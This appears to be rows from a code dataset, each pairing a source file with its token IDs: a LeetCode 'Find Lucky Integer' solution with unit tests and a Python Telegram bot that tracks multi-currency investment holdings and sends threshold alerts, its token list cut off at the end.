29892,
12020,
29918,
3166,
13,
29937,
4380,
3682,
411,
29901,
5174,
8960,
408,
321,
13,
3166,
4240,
1144,
1053,
3464,
29892,
2910,
29892,
14319,
29892,
4175,
13,
3166,
12013,
1053,
1722,
13,
5215,
4832,
13,
29937,
2796,
29901,
5132,
29871,
29906,
29914,
29941,
10007,
3097,
4839,
2319,
13,
13,
13,
5215,
1869,
5889,
29889,
29277,
408,
365,
13,
5215,
12655,
408,
7442,
13,
5215,
278,
1562,
13,
5215,
278,
1562,
29889,
20158,
408,
323,
13,
5215,
443,
27958,
13,
13,
3166,
869,
1053,
14379,
13,
13,
13,
1649,
497,
1649,
353,
518,
13,
1678,
376,
5160,
3057,
8259,
613,
13,
1678,
376,
9544,
433,
4983,
3057,
8259,
613,
13,
29962,
13,
13,
13,
1990,
7399,
3057,
8259,
29898,
348,
27958,
29889,
3057,
8259,
1125,
13,
1678,
9995,
13,
1678,
319,
15589,
3389,
1243,
373,
5164,
14379,
363,
385,
8252,
1158,
29889,
13,
13,
1678,
1152,
1269,
3564,
278,
1243,
1423,
393,
278,
5759,
3564,
13,
1678,
756,
278,
1492,
1962,
8267,
29892,
508,
367,
13126,
13,
1678,
322,
8283,
411,
4036,
10970,
29889,
13,
1678,
9995,
13,
13,
1678,
822,
903,
7302,
29918,
1688,
29898,
1311,
29892,
1158,
29892,
3564,
1125,
13,
4706,
12020,
2216,
1888,
2037,
287,
2392,
703,
2697,
297,
19481,
23157,
13,
13,
1678,
822,
1243,
29918,
29881,
719,
3389,
29898,
1311,
1125,
13,
4706,
363,
3564,
297,
14379,
29889,
17609,
7295,
13,
9651,
565,
4832,
29889,
20055,
29906,
29901,
13,
18884,
1583,
3032,
7302,
29918,
1688,
29898,
1311,
3032,
5696,
29892,
3564,
29897,
13,
9651,
1683,
29901,
13,
18884,
411,
1583,
29889,
1491,
3057,
29898,
11618,
29918,
978,
29922,
11618,
3366,
978,
3108,
1125,
13,
462,
1678,
1583,
3032,
7302,
29918,
1688,
29898,
1311,
3032,
5696,
29892,
3564,
29897,
13,
4706,
1209,
13,
13,
13,
1990,
12027,
433,
4983,
3057,
8259,
29898,
5160,
3057,
8259,
1125,
13,
13,
1678,
822,
903,
5696,
29898,
1311,
29892,
1962,
29918,
13148,
1125,
13,
4706,
12020,
2216,
1888,
2037,
287,
2392,
703,
2697,
297,
19481,
23157,
13,
13,
1678,
822,
903,
9294,
29898,
1311,
29892,
1158,
29892,
3564,
29892,
921,
29892,
8252,
1125,
13,
4706,
1209,
13,
13,
1678,
822,
903,
7302,
29918,
1688,
29898,
1311,
29892,
1158,
29892,
3564,
1125,
13,
4706,
396,
3617,
3641,
4983,
29889,
13,
4706,
3641,
4983,
353,
1158,
29898,
11618,
3366,
449,
20068,
13,
4706,
396,
360,
719,
3389,
29889,
13,
4706,
921,
353,
7442,
29889,
8172,
29889,
9502,
29898,
29896,
29892,
334,
29898,
11618,
3366,
2080,
29918,
12181,
3108,
29961,
29896,
29901,
12622,
13,
4706,
8252,
353,
3641,
4983,
29889,
4548,
7420,
29898,
29916,
29897,
13,
4706,
1583,
29889,
9294,
9843,
29898,
23583,
29898,
735,
9018,
362,
29889,
12181,
29961,
29896,
29901,
11724,
13,
462,
308,
18761,
29898,
11618,
3366,
2080,
29918,
12181,
3108,
29961,
29896,
29901,
12622,
13,
4706,
1583,
3032,
9294,
29898,
5696,
29892,
3564,
29892,
921,
29892,
8252,
29897,
13,
4706,
1209,
13,
13,
13,
1990,
25860,
20606,
261,
3057,
8259,
29898,
5160,
3057,
8259,
1125,
13,
13,
1678,
822,
903,
5696,
29898,
1311,
29892,
1962,
29918,
13148,
1125,
13,
4706,
12020,
2216,
1888,
2037,
287,
2392,
703,
2697,
297,
19481,
23157,
13,
13,
1678,
822,
903,
9294,
29898,
1311,
29892,
1158,
29892,
3564,
29892,
921,
29892,
8252,
1125,
13,
4706,
1209,
13,
13,
1678,
822,
903,
7302,
29918,
1688,
29898,
1311,
29892,
1158,
29892,
3564,
1125,
13,
4706,
396,
3617,
3641,
4983,
29889,
13,
4706,
6601,
353,
1158,
29898,
11618,
3366,
449,
20068,
13,
4706,
396,
360,
719,
3389,
29889,
13,
4706,
921,
353,
7442,
29889,
8172,
29889,
9502,
29898,
29896,
29900,
29892,
334,
29898,
11618,
3366,
2080,
29918,
12181,
3108,
29961,
29896,
29901,
12622,
13,
4706,
15038,
353,
6601,
29889,
26017,
29918,
11037,
29879,
29898,
29916,
29892,
29871,
29906,
29897,
13,
4706,
1583,
3032,
9294,
29898,
5696,
29892,
3564,
29892,
921,
29892,
15038,
29897,
13,
4706,
1209,
13,
2
] |
leetcode/1394.py | GihwanKim/Baekjoon | 0 | 178549 | <gh_stars>0
"""
File: 1394.py
Title: Find Lucky Integer in an Array
Difficulty: Easy
URL: https://leetcode.com/problems/find-lucky-integer-in-an-array/
"""
import unittest
from typing import List
class Solution:
def findLucky(self, arr: List[int]) -> int:
table = {}
for n in arr:
if n not in table:
table[n] = 1
else:
table[n] += 1
for k, v in sorted(table.items(), reverse=True):
if k == v:
return k
return -1
class SolutionTestCase(unittest.TestCase):
def test_example1(self):
# Input
arr = [2, 2, 3, 4]
# Output
output = 2
solution = Solution()
self.assertEqual(solution.findLucky(arr), output)
def test_example2(self):
# Input
arr = [1, 2, 2, 3, 3, 3]
# Output
output = 3
solution = Solution()
self.assertEqual(solution.findLucky(arr), output)
def test_example3(self):
# Input
arr = [2, 2, 2, 3, 3]
# Output
output = -1
solution = Solution()
self.assertEqual(solution.findLucky(arr), output)
def test_example4(self):
# Input
arr = [5]
# Output
output = -1
solution = Solution()
self.assertEqual(solution.findLucky(arr), output)
def test_example5(self):
# Input
arr = [7, 7, 7, 7, 7, 7, 7]
# Output
output = 7
solution = Solution()
self.assertEqual(solution.findLucky(arr), output)
if __name__ == "__main__":
unittest.main()
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
15945,
29908,
13,
1678,
3497,
29901,
29871,
29896,
29941,
29929,
29946,
29889,
2272,
13,
1678,
18527,
29901,
10987,
365,
14395,
8102,
297,
385,
4398,
13,
1678,
360,
2593,
3953,
29891,
29901,
382,
8995,
13,
1678,
3988,
29901,
2045,
597,
280,
300,
401,
29889,
510,
29914,
17199,
29879,
29914,
2886,
29899,
29880,
14395,
29899,
16031,
29899,
262,
29899,
273,
29899,
2378,
29914,
13,
15945,
29908,
13,
13,
5215,
443,
27958,
13,
13,
3166,
19229,
1053,
2391,
13,
13,
13,
1990,
24380,
29901,
13,
1678,
822,
1284,
29931,
14395,
29898,
1311,
29892,
3948,
29901,
2391,
29961,
524,
2314,
1599,
938,
29901,
13,
4706,
1591,
353,
6571,
13,
4706,
363,
302,
297,
3948,
29901,
13,
9651,
565,
302,
451,
297,
1591,
29901,
13,
18884,
1591,
29961,
29876,
29962,
353,
29871,
29896,
13,
9651,
1683,
29901,
13,
18884,
1591,
29961,
29876,
29962,
4619,
29871,
29896,
13,
13,
4706,
363,
413,
29892,
325,
297,
12705,
29898,
2371,
29889,
7076,
3285,
11837,
29922,
5574,
1125,
13,
9651,
565,
413,
1275,
325,
29901,
13,
18884,
736,
413,
13,
4706,
736,
448,
29896,
13,
13,
13,
1990,
24380,
3057,
8259,
29898,
348,
27958,
29889,
3057,
8259,
1125,
13,
1678,
822,
1243,
29918,
4773,
29896,
29898,
1311,
1125,
13,
4706,
396,
10567,
13,
4706,
3948,
353,
518,
29906,
29892,
29871,
29906,
29892,
29871,
29941,
29892,
29871,
29946,
29962,
13,
4706,
396,
10604,
13,
4706,
1962,
353,
29871,
29906,
13,
13,
4706,
1650,
353,
24380,
580,
13,
4706,
1583,
29889,
9294,
9843,
29898,
2929,
918,
29889,
2886,
29931,
14395,
29898,
2749,
511,
1962,
29897,
13,
13,
1678,
822,
1243,
29918,
4773,
29906,
29898,
1311,
1125,
13,
4706,
396,
10567,
13,
4706,
3948,
353,
518,
29896,
29892,
29871,
29906,
29892,
29871,
29906,
29892,
29871,
29941,
29892,
29871,
29941,
29892,
29871,
29941,
29962,
13,
4706,
396,
10604,
13,
4706,
1962,
353,
29871,
29941,
13,
13,
4706,
1650,
353,
24380,
580,
13,
4706,
1583,
29889,
9294,
9843,
29898,
2929,
918,
29889,
2886,
29931,
14395,
29898,
2749,
511,
1962,
29897,
13,
13,
1678,
822,
1243,
29918,
4773,
29941,
29898,
1311,
1125,
13,
4706,
396,
10567,
13,
4706,
3948,
353,
518,
29906,
29892,
29871,
29906,
29892,
29871,
29906,
29892,
29871,
29941,
29892,
29871,
29941,
29962,
13,
4706,
396,
10604,
13,
4706,
1962,
353,
448,
29896,
13,
13,
4706,
1650,
353,
24380,
580,
13,
4706,
1583,
29889,
9294,
9843,
29898,
2929,
918,
29889,
2886,
29931,
14395,
29898,
2749,
511,
1962,
29897,
13,
13,
1678,
822,
1243,
29918,
4773,
29946,
29898,
1311,
1125,
13,
4706,
396,
10567,
13,
4706,
3948,
353,
518,
29945,
29962,
13,
4706,
396,
10604,
13,
4706,
1962,
353,
448,
29896,
13,
13,
4706,
1650,
353,
24380,
580,
13,
4706,
1583,
29889,
9294,
9843,
29898,
2929,
918,
29889,
2886,
29931,
14395,
29898,
2749,
511,
1962,
29897,
13,
13,
1678,
822,
1243,
29918,
4773,
29945,
29898,
1311,
1125,
13,
4706,
396,
10567,
13,
4706,
3948,
353,
518,
29955,
29892,
29871,
29955,
29892,
29871,
29955,
29892,
29871,
29955,
29892,
29871,
29955,
29892,
29871,
29955,
29892,
29871,
29955,
29962,
13,
4706,
396,
10604,
13,
4706,
1962,
353,
29871,
29955,
13,
13,
4706,
1650,
353,
24380,
580,
13,
4706,
1583,
29889,
9294,
9843,
29898,
2929,
918,
29889,
2886,
29931,
14395,
29898,
2749,
511,
1962,
29897,
13,
13,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
13,
1678,
443,
27958,
29889,
3396,
580,
13,
2
] |
currency.py | furkansahin/InvestmentMonitor | 5 | 84945 | <filename>currency.py
from copy import deepcopy
import requests
import time
import telepot
users = {}
token = raw_input('token:')
bot = telepot.Bot(token)
currencies = {"USD", "TRY", "GBP", "CHF", "JPY", "EUR"}
currencies_in_usage = set()
def fetch_currency(currencies, to_currency):
cur_values = {}
query_keys = set()
for cur in currencies_in_usage:
cur_values[cur + to_currency] = 0
query_keys.add("%22" + cur + to_currency + "%22")
str_val = ""
for x in query_keys:
str_val += x + "%2C"
url = "https://query.yahooapis.com/v1/public/yql?q=select%20*%20from%20yahoo.finance.xchange%20where%20pair%20in%20("\
+ str_val[:-3] + ")&format=json&diagnostics=true&env=store%3A%2F%2Fdatatables.org%2Falltableswithkeys&callback"
response = requests.get(url)
data = response.json()
for resource in data['query']['results']['rate']:
if str(resource['id']) in cur_values:
cur_values[str(resource['id'])] = float(resource['Rate'])
return cur_values
def current_investment(cur_values, money, to_cur):
sum_investment = 0.0
for mon in money:
sum_investment += (cur_values[mon + to_cur]) * money[mon]
return sum_investment
def send_message(msg_type, user, name, money=" ", user_dict={}):
msg = ""
if msg_type == "welcome":
msg = "Hello " + name + ", welcome to the investment monitor. \nTo start to use the bot, you can use the " \
"command \usage \nThe very first thing to do is to indicate the currency you " \
"live in by the command /to_cur XYZ "
elif msg_type == "usage":
msg = "To use the bot you can use the following commands " \
"\n /to_cur [CURRENCY] (e.g. /to_cur TRY) : indicates the currency you live in. " \
"\n /add [AMOUNT] [CURRENCY] (e.g. /add 5000 USD) : adds the indicated amount to your account." \
"\n /rem [AMOUNT] [CURRENCY] (e.g. /rem 3000 USD) : removes the indicated amount from your account." \
"\n /info lists all of the money in your account and gives the sum. " \
"\n /min [AMOUNT] indicates the minimum threshold to be notified" \
"\n /max [AMOUNT] indicates the maximum threshold to be notified"
elif msg_type == "add_money":
msg = "Dear " + name + ", " + money + " is added to your account"
elif msg_type == "rem_money":
msg = "Dear " + name + ", " + money + " is subtracted from your account"
elif msg_type == "rem_money_neg":
msg = "Dear " + name + ", " + money + " could not be subtracted from your account, probably you don't have " \
"enough balance."
elif msg_type == "info":
if "money" in user_dict[user]:
msg = "Dear " + name + ", your balance is as the following;\n"
for money in user_dict[user]["money"]:
msg += str(user_dict[user]["money"][money]) + " " + str(money) + "\n"
cur_investment = current_investment(fetch_currency(currencies=[key for key in users[int(user)]["money"]],
to_currency=users[user]["to_cur"]),
users[int(user)]["money"], users[user]["to_cur"])
msg += "And in total you have " + str(cur_investment) + " " + users[user]["to_cur"]
else:
msg = "First you need to add some money into your account by the /add command"
elif msg_type == "none_to_cur":
msg = "Dear " + name + ", please first define the currency you live in with the command /to_cur CUR"
elif msg_type == "lower":
msg = "Dear " + name + ", you are losing money! Your total investment value is now "
cur_investment = current_investment(fetch_currency(currencies=[key for key in users[int(user)]["money"]],
to_currency=users[user]["to_cur"]),
users[int(user)]["money"], users[user]["to_cur"])
msg += str(cur_investment) + users[user]["to_cur"]
elif msg_type == "higher":
msg = "Dear " + name + ", you are making money! Your total investment value is now "
cur_investment = current_investment(fetch_currency(currencies=[key for key in users[int(user)]["money"]],
to_currency=users[user]["to_cur"]),
users[int(user)]["money"], users[user]["to_cur"])
msg += str(cur_investment) + users[user]["to_cur"]
bot.sendMessage(user, msg)
def is_valid(txt):
if "/add" in txt or "/rem" in txt:
parts = txt.split(" ")
if parts[0] == "/add" or parts[0] == "/rem":
amount = 0
try:
amount = float(parts[1])
except ValueError:
return False
currency = parts[2]
if currency in currencies:
return True
elif "/to_cur" in txt:
parts = txt.split(" ")
if parts[0] == "/to_cur" and parts[1] in currencies:
return True
elif "/max" in txt or "/min" in txt:
parts = txt.split(" ")
if parts[0] == "/max" or parts[0] == "/min":
amount = 0
try:
amount = float(parts[1])
except ValueError:
return False
return True
elif txt == "/info" or txt == "/usage" or txt == "/start":
return True
return False
def message_handler(message):
txt = str(message['text'])
user = message['from']['id']
name = message['from']['first_name']
if is_valid(txt):
if user not in users:
users[int(user)] = {}
users[int(user)]["name"] = str(name)
if txt == "/start":
send_message("welcome", int(user), str(name))
elif txt == "/usage":
send_message("usage", int(user), str(name))
elif "/add" in txt:
parts = txt.split(" ")
if "to_cur" not in users[int(user)]:
send_message("none_to_cur", int(user), str(name))
else:
if "money" not in users[int(user)]:
users[int(user)]["money"] = {}
if parts[2] not in users[int(user)]["money"]:
users[int(user)]["money"][parts[2]] = 0
currencies_in_usage.add(parts[2])
users[int(user)]["money"][parts[2]] += float(parts[1])
send_message("add_money", int(user), str(name), parts[1] + " " + parts[2])
elif "/rem" in txt:
subtracted = False
parts = txt.split(" ")
if "money" in users[int(user)]:
if parts[2] in users[int(user)]["money"]:
if users[int(user)]["money"][parts[2]] > float(parts[1]):
users[int(user)]["money"][parts[2]] -= float(parts[1])
send_message("rem_money", int(user), str(name), parts[1] + " " + parts[2])
subtracted = True
if not subtracted:
send_message("rem_money_neg", int(user), str(name), parts[1] + " " + parts[2])
elif "/info" == txt:
send_message("info", int(user), str(name), user_dict=users)
elif "/to_cur" in txt:
users[int(user)]["to_cur"] = txt.split(" ")[1]
currencies_in_usage.add(users[int(user)]["to_cur"])
elif "/min" in txt:
users[int(user)]["min"] = float(txt.split(" ")[1])
elif "/max" in txt:
users[int(user)]["max"] = float(txt.split(" ")[1])
def main():
bot.message_loop(message_handler)
while 1:
for user in users:
if "to_cur" in users[int(user)] and "money" in users[int(user)]:
cur_investment = current_investment(fetch_currency(currencies=[key for key in users[int(user)]["money"]],
to_currency=users[user]["to_cur"]),
users[int(user)]["money"], users[user]["to_cur"])
if "max" in users[int(user)] and cur_investment > users[int(user)]["max"]:
send_message("higher", int(user), users[int(user)]["name"])
elif "min" in users[int(user)] and cur_investment < users[int(user)]["min"]:
send_message("lower", int(user), users[int(user)]["name"])
time.sleep(10)
if __name__ == "__main__":
main()
| [
1,
529,
9507,
29958,
26095,
29889,
2272,
13,
3166,
3509,
1053,
6483,
8552,
13,
5215,
7274,
13,
5215,
931,
13,
5215,
4382,
17765,
13,
13,
7193,
353,
6571,
13,
6979,
353,
10650,
29918,
2080,
877,
6979,
29901,
1495,
13,
7451,
353,
4382,
17765,
29889,
29933,
327,
29898,
6979,
29897,
13,
21962,
15942,
353,
8853,
3308,
29928,
613,
376,
5659,
29979,
613,
376,
7210,
29925,
613,
376,
3210,
29943,
613,
376,
29967,
20055,
613,
376,
29923,
4574,
9092,
13,
21962,
15942,
29918,
262,
29918,
21125,
353,
731,
580,
13,
13,
13,
1753,
6699,
29918,
26095,
29898,
21962,
15942,
29892,
304,
29918,
26095,
1125,
13,
1678,
3151,
29918,
5975,
353,
6571,
13,
1678,
2346,
29918,
8149,
353,
731,
580,
13,
13,
1678,
363,
3151,
297,
16256,
15942,
29918,
262,
29918,
21125,
29901,
13,
4706,
3151,
29918,
5975,
29961,
2764,
718,
304,
29918,
26095,
29962,
353,
29871,
29900,
13,
4706,
2346,
29918,
8149,
29889,
1202,
11702,
29906,
29906,
29908,
718,
3151,
718,
304,
29918,
26095,
718,
11860,
29906,
29906,
1159,
13,
13,
1678,
851,
29918,
791,
353,
5124,
13,
13,
1678,
363,
921,
297,
2346,
29918,
8149,
29901,
13,
4706,
851,
29918,
791,
4619,
921,
718,
11860,
29906,
29907,
29908,
13,
13,
1678,
3142,
353,
376,
991,
597,
1972,
29889,
29891,
26779,
11355,
29889,
510,
29914,
29894,
29896,
29914,
3597,
29914,
29891,
1519,
29973,
29939,
29922,
2622,
29995,
29906,
29900,
29930,
29995,
29906,
29900,
3166,
29995,
29906,
29900,
29891,
26779,
29889,
4951,
749,
29889,
29916,
3167,
29995,
29906,
29900,
3062,
29995,
29906,
29900,
18784,
29995,
29906,
29900,
262,
29995,
29906,
29900,
14182,
13,
3986,
718,
851,
29918,
791,
7503,
29899,
29941,
29962,
718,
16521,
29987,
4830,
29922,
3126,
29987,
6051,
20921,
29922,
3009,
29987,
6272,
29922,
8899,
29995,
29941,
29909,
29995,
29906,
29943,
29995,
29906,
29943,
4130,
271,
1849,
29889,
990,
29995,
29906,
29943,
497,
24051,
2541,
8149,
29987,
14035,
29908,
13,
1678,
2933,
353,
7274,
29889,
657,
29898,
2271,
29897,
13,
13,
1678,
848,
353,
2933,
29889,
3126,
580,
13,
1678,
363,
6503,
297,
848,
1839,
1972,
16215,
9902,
16215,
10492,
2033,
29901,
13,
4706,
565,
851,
29898,
10314,
1839,
333,
11287,
297,
3151,
29918,
5975,
29901,
13,
9651,
3151,
29918,
5975,
29961,
710,
29898,
10314,
1839,
333,
2033,
4638,
353,
5785,
29898,
10314,
1839,
19907,
11287,
13,
13,
1678,
736,
3151,
29918,
5975,
13,
13,
13,
1753,
1857,
29918,
262,
10147,
358,
29898,
2764,
29918,
5975,
29892,
6909,
29892,
304,
29918,
2764,
1125,
13,
1678,
2533,
29918,
262,
10147,
358,
353,
29871,
29900,
29889,
29900,
13,
13,
1678,
363,
1601,
297,
6909,
29901,
13,
4706,
2533,
29918,
262,
10147,
358,
4619,
313,
2764,
29918,
5975,
29961,
3712,
718,
304,
29918,
2764,
2314,
334,
6909,
29961,
3712,
29962,
13,
13,
1678,
736,
2533,
29918,
262,
10147,
358,
13,
13,
13,
1753,
3638,
29918,
4906,
29898,
7645,
29918,
1853,
29892,
1404,
29892,
1024,
29892,
6909,
543,
9162,
1404,
29918,
8977,
3790,
29913,
1125,
13,
1678,
10191,
353,
5124,
13,
13,
1678,
565,
10191,
29918,
1853,
1275,
376,
20466,
2763,
1115,
13,
4706,
10191,
353,
376,
10994,
376,
718,
1024,
718,
9162,
12853,
304,
278,
13258,
358,
11819,
29889,
320,
29876,
1762,
1369,
304,
671,
278,
9225,
29892,
366,
508,
671,
278,
376,
320,
13,
462,
462,
268,
376,
6519,
320,
21125,
320,
29876,
1576,
1407,
937,
2655,
304,
437,
338,
304,
12266,
278,
27550,
366,
376,
320,
13,
462,
18884,
376,
9258,
297,
491,
278,
1899,
847,
517,
29918,
2764,
1060,
29979,
29999,
376,
13,
1678,
25342,
10191,
29918,
1853,
1275,
376,
21125,
1115,
13,
4706,
10191,
353,
376,
1762,
671,
278,
9225,
366,
508,
671,
278,
1494,
8260,
376,
320,
13,
795,
6634,
29876,
847,
517,
29918,
2764,
518,
22484,
29934,
1430,
29907,
29979,
29962,
313,
29872,
29889,
29887,
29889,
847,
517,
29918,
2764,
10014,
29979,
29897,
584,
14088,
278,
27550,
366,
5735,
297,
29889,
376,
320,
13,
795,
6634,
29876,
847,
1202,
518,
5194,
29949,
10356,
29962,
518,
22484,
29934,
1430,
29907,
29979,
29962,
313,
29872,
29889,
29887,
29889,
847,
1202,
29871,
29945,
29900,
29900,
29900,
3148,
29928,
29897,
584,
12778,
278,
18694,
5253,
304,
596,
3633,
1213,
320,
13,
795,
6634,
29876,
847,
1745,
518,
5194,
29949,
10356,
29962,
518,
22484,
29934,
1430,
29907,
29979,
29962,
313,
29872,
29889,
29887,
29889,
847,
1745,
29871,
29941,
29900,
29900,
29900,
3148,
29928,
29897,
584,
25388,
278,
18694,
5253,
515,
596,
3633,
1213,
320,
13,
795,
6634,
29876,
847,
3888,
8857,
599,
310,
278,
6909,
297,
596,
3633,
322,
4076,
278,
2533,
29889,
376,
320,
13,
795,
6634,
29876,
847,
1195,
518,
5194,
29949,
10356,
29962,
14088,
278,
9212,
16897,
304,
367,
451,
2164,
29908,
320,
13,
795,
6634,
29876,
847,
3317,
518,
5194,
29949,
10356,
29962,
14088,
278,
7472,
16897,
304,
367,
451,
2164,
29908,
13,
1678,
25342,
10191,
29918,
1853,
1275,
376,
1202,
29918,
29885,
4992,
1115,
13,
4706,
10191,
353,
376,
29928,
799,
376,
718,
1024,
718,
9162,
376,
718,
6909,
718,
376,
338,
2715,
304,
596,
3633,
29908,
13,
1678,
25342,
10191,
29918,
1853,
1275,
376,
1745,
29918,
29885,
4992,
1115,
13,
4706,
10191,
353,
376,
29928,
799,
376,
718,
1024,
718,
9162,
376,
718,
6909,
718,
376,
338,
23197,
287,
515,
596,
3633,
29908,
13,
1678,
25342,
10191,
29918,
1853,
1275,
376,
1745,
29918,
29885,
4992,
29918,
10052,
1115,
13,
4706,
10191,
353,
376,
29928,
799,
376,
718,
1024,
718,
9162,
376,
718,
6909,
718,
376,
1033,
451,
367,
23197,
287,
515,
596,
3633,
29892,
3117,
366,
1016,
29915,
29873,
505,
376,
320,
13,
462,
462,
795,
376,
264,
820,
17346,
1213,
13,
1678,
25342,
10191,
29918,
1853,
1275,
376,
3888,
1115,
13,
4706,
565,
376,
29885,
4992,
29908,
297,
1404,
29918,
8977,
29961,
1792,
5387,
13,
9651,
10191,
353,
376,
29928,
799,
376,
718,
1024,
718,
9162,
596,
17346,
338,
408,
278,
1494,
10436,
29876,
29908,
13,
9651,
363,
6909,
297,
1404,
29918,
8977,
29961,
1792,
29962,
3366,
29885,
4992,
3108,
29901,
13,
18884,
10191,
4619,
851,
29898,
1792,
29918,
8977,
29961,
1792,
29962,
3366,
29885,
4992,
3108,
29961,
29885,
4992,
2314,
718,
376,
376,
718,
851,
29898,
29885,
4992,
29897,
718,
6634,
29876,
29908,
13,
9651,
3151,
29918,
262,
10147,
358,
353,
1857,
29918,
262,
10147,
358,
29898,
9155,
29918,
26095,
29898,
21962,
15942,
11759,
1989,
363,
1820,
297,
4160,
29961,
524,
29898,
1792,
4638,
3366,
29885,
4992,
3108,
1402,
13,
462,
462,
462,
965,
304,
29918,
26095,
29922,
7193,
29961,
1792,
29962,
3366,
517,
29918,
2764,
3108,
511,
13,
462,
462,
9651,
4160,
29961,
524,
29898,
1792,
4638,
3366,
29885,
4992,
12436,
4160,
29961,
1792,
29962,
3366,
517,
29918,
2764,
20068,
13,
9651,
10191,
4619,
376,
2855,
297,
3001,
366,
505,
376,
718,
851,
29898,
2764,
29918,
262,
10147,
358,
29897,
718,
376,
376,
718,
4160,
29961,
1792,
29962,
3366,
517,
29918,
2764,
3108,
13,
4706,
1683,
29901,
13,
9651,
10191,
353,
376,
6730,
366,
817,
304,
788,
777,
6909,
964,
596,
3633,
491,
278,
847,
1202,
1899,
29908,
13,
1678,
25342,
10191,
29918,
1853,
1275,
376,
9290,
29918,
517,
29918,
2764,
1115,
13,
4706,
10191,
353,
376,
29928,
799,
376,
718,
1024,
718,
9162,
3113,
937,
4529,
278,
27550,
366,
5735,
297,
411,
278,
1899,
847,
517,
29918,
2764,
315,
4574,
29908,
13,
1678,
25342,
10191,
29918,
1853,
1275,
376,
13609,
1115,
13,
4706,
10191,
353,
376,
29928,
799,
376,
718,
1024,
718,
9162,
366,
526,
19035,
6909,
29991,
3575,
3001,
13258,
358,
995,
338,
1286,
376,
13,
4706,
3151,
29918,
262,
10147,
358,
353,
1857,
29918,
262,
10147,
358,
29898,
9155,
29918,
26095,
29898,
21962,
15942,
11759,
1989,
363,
1820,
297,
4160,
29961,
524,
29898,
1792,
4638,
3366,
29885,
4992,
3108,
1402,
13,
462,
462,
462,
965,
304,
29918,
26095,
29922,
7193,
29961,
1792,
29962,
3366,
517,
29918,
2764,
3108,
511,
13,
462,
462,
9651,
4160,
29961,
524,
29898,
1792,
4638,
3366,
29885,
4992,
12436,
4160,
29961,
1792,
29962,
3366,
517,
29918,
2764,
20068,
13,
4706,
10191,
4619,
851,
29898,
2764,
29918,
262,
10147,
358,
29897,
718,
4160,
29961,
1792,
29962,
3366,
517,
29918,
2764,
3108,
13,
1678,
25342,
10191,
29918,
1853,
1275,
376,
9812,
261,
1115,
13,
4706,
10191,
353,
376,
29928,
799,
376,
718,
1024,
718,
9162,
366,
526,
3907,
6909,
29991,
3575,
3001,
13258,
358,
995,
338,
1286,
376,
13,
4706,
3151,
29918,
262,
10147,
358,
353,
1857,
29918,
262,
10147,
358,
29898,
9155,
29918,
26095,
29898,
21962,
15942,
11759,
1989,
363,
1820,
297,
4160,
29961,
524,
29898,
1792,
4638,
3366,
29885,
4992,
3108,
1402,
13,
462,
462,
462,
965,
304,
29918,
26095,
29922,
7193,
29961,
1792,
29962,
3366,
517,
29918,
2764,
3108,
511,
13,
462,
462,
9651,
4160,
29961,
524,
29898,
1792,
4638,
3366,
29885,
4992,
12436,
4160,
29961,
1792,
29962,
3366,
517,
29918,
2764,
20068,
13,
4706,
10191,
4619,
851,
29898,
2764,
29918,
262,
10147,
358,
29897,
718,
4160,
29961,
1792,
29962,
3366,
517,
29918,
2764,
3108,
13,
13,
1678,
9225,
29889,
6717,
3728,
29898,
1792,
29892,
10191,
29897,
13,
13,
13,
1753,
338,
29918,
3084,
29898,
3945,
1125,
13,
1678,
565,
5591,
1202,
29908,
297,
13872,
470,
5591,
1745,
29908,
297,
13872,
29901,
13,
4706,
5633,
353,
13872,
29889,
5451,
703,
16521,
13,
4706,
565,
5633,
29961,
29900,
29962,
1275,
5591,
1202,
29908,
470,
5633,
29961,
29900,
29962,
1275,
5591,
1745,
1115,
13,
9651,
5253,
353,
29871,
29900,
13,
9651,
1018,
29901,
13,
18884,
5253,
353,
5785,
29898,
20895,
29961,
29896,
2314,
13,
9651,
5174,
7865,
2392,
29901,
13,
18884,
736,
7700,
13,
13,
9651,
27550,
353,
5633,
29961,
29906,
29962,
13,
9651,
565,
27550,
297,
16256,
15942,
29901,
13,
18884,
736,
5852,
13,
1678,
25342,
5591,
517,
29918,
2764,
29908,
297,
13872,
29901,
13,
4706,
5633,
353,
13872,
29889,
5451,
703,
16521,
13,
4706,
565,
5633,
29961,
29900,
29962,
1275,
5591,
517,
29918,
2764,
29908,
322,
5633,
29961,
29896,
29962,
297,
16256,
15942,
29901,
13,
9651,
736,
5852,
13,
1678,
25342,
5591,
3317,
29908,
297,
13872,
470,
5591,
1195,
29908,
297,
13872,
29901,
13,
4706,
5633,
353,
13872,
29889,
5451,
703,
16521,
13,
4706,
565,
5633,
29961,
29900,
29962,
1275,
5591,
3317,
29908,
470,
5633,
29961,
29900,
29962,
1275,
5591,
1195,
1115,
13,
9651,
5253,
353,
29871,
29900,
13,
9651,
1018,
29901,
13,
18884,
5253,
353,
5785,
29898,
20895,
29961,
29896,
2314,
13,
9651,
5174,
7865,
2392,
29901,
13,
18884,
736,
7700,
13,
9651,
736,
5852,
13,
1678,
25342,
13872,
1275,
5591,
3888,
29908,
470,
13872,
1275,
5591,
21125,
29908,
470,
13872,
1275,
5591,
2962,
1115,
13,
4706,
736,
5852,
13,
13,
1678,
736,
7700,
13,
13,
13,
1753,
2643,
29918,
13789,
29898,
4906,
1125,
13,
1678,
13872,
353,
851,
29898,
4906,
1839,
726,
11287,
13,
1678,
1404,
353,
2643,
1839,
3166,
16215,
333,
2033,
13,
1678,
1024,
353,
2643,
1839,
3166,
16215,
4102,
29918,
978,
2033,
13,
13,
1678,
565,
338,
29918,
3084,
29898,
3945,
1125,
13,
4706,
565,
1404,
451,
297,
4160,
29901,
13,
9651,
4160,
29961,
524,
29898,
1792,
4638,
353,
6571,
13,
9651,
4160,
29961,
524,
29898,
1792,
4638,
3366,
978,
3108,
353,
851,
29898,
978,
29897,
13,
4706,
565,
13872,
1275,
5591,
2962,
1115,
13,
9651,
3638,
29918,
4906,
703,
20466,
2763,
613,
938,
29898,
1792,
511,
851,
29898,
978,
876,
13,
4706,
25342,
13872,
1275,
5591,
21125,
1115,
13,
9651,
3638,
29918,
4906,
703,
21125,
613,
938,
29898,
1792,
511,
851,
29898,
978,
876,
13,
4706,
25342,
5591,
1202,
29908,
297,
13872,
29901,
13,
9651,
5633,
353,
13872,
29889,
5451,
703,
16521,
13,
9651,
565,
376,
517,
29918,
2764,
29908,
451,
297,
4160,
29961,
524,
29898,
1792,
4638,
29901,
13,
18884,
3638,
29918,
4906,
703,
9290,
29918,
517,
29918,
2764,
613,
938,
29898,
1792,
511,
851,
29898,
978,
876,
13,
9651,
1683,
